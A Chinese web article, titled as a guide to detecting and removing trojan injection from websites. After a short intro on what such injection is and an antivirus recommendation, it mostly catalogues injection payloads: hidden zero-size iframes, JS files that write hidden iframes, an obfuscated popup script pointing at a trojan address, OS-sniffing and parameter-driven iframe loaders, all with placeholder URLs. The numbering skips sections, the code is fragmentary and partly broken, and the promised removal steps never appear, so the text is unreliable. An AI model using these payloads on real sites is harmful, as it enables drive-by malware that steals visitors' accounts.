如何进行网站挂马检测与清除

挂马是常见的对网站和客户都影响巨大的危害之一。如果是在访问出来的源文件的头上,或是最后有被加代码,这个一般是网站文件被要改了,或是ARP,如果是源文件的很多数据位置(中间),那一般是数据库被人挂了。服务器上首先要安装防病毒软件,而且要保持在线病毒库的更新,本人推荐使用eset nod32杀毒软件,效果不错,监测查杀木马很及时,一般如果服务器上的网页里被挂马了,一般都会检测出来。

不完全统计,90%的网站都被挂过马,挂马是指在获取网站或者网站服务器的部分或者全部权限后,在网页文件中插入一段恶意代码,这些恶意代码主要是一些包括IE等漏洞利用代码,用户访问被挂马的页面时,如果系统没有更新恶意代码中利用的漏洞补丁,则会执行恶意代码程序,进行盗号等危险超过。目前挂马主要是为了商业利益,有的挂马是为了赚取流量,有的是为了盗取游戏等账号,也有的是为了好玩,不管是处于那种目的,对于访问被挂马的网站来说都是一种潜在的威胁,影响运营网站公司形象。

一:框架挂马

<iframe src=地址 width=0 height=0></iframe>

二:js文件挂马

首先将以下代码

document.write("<iframe width='0' height='0' src='地址'></iframe>");

保存为xxx.js,

则JS挂马代码为

<script language=javascript src=xxx.js></script>

三:js变形加密

<SCRIPT language="JScript.Encode" src=(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_softbar_com();

return true;"> 页面要显示的内容 </a>

<SCRIPT Language="JavaScript">

function www_163_com ()

{

var url="网马地址";

open

(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizabl

e=no,copyhistory=yes,width=800,height=600,left=10,top=10");

}

</SCRIPT>

十一:判断系统代码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML><HEAD><TITLE>404</TITLE>

<META width=100% height=100% scrolling=no frameborder=0>")

else

document.write ("<iframe src= width=100% height=100% scrolling=no frameborder=0>")

end if

</script>

十三:智能读取js的代码demo

//读娶src的对象

var v = document.getElementById("advjs");

//读娶src的参数

var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));

document.write("<iframe src=\"/1/"+u_num+".htm\" width=\"0\" height=\"0\"

frameborder=\"0\"></iframe>");

document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");

document.writeln("<HTML><HEAD>");

document.writeln("<META \/demo.js\')\">");

document.writeln("<DIV ");

document.writeln("style=\"CURSOR: url(\'\/demo.js\')\"><\/DIV><\/DIV><

\/BODY><\/HTML>")

//分析src的参数函数

function getUrlParameterAdv(asName,lsURL){

loU = lsURL.split("?");

if (loU.length>1){

var loallPm = loU[1].split("&");

for (var i=0; i<loallPm.length; i++){

var loPm = loallPm.split("=");

if (loPm[0]==asName){

if (loPm.length>1){

return loPm[1];

}else{

return "";

}

}

}

}

return null;

}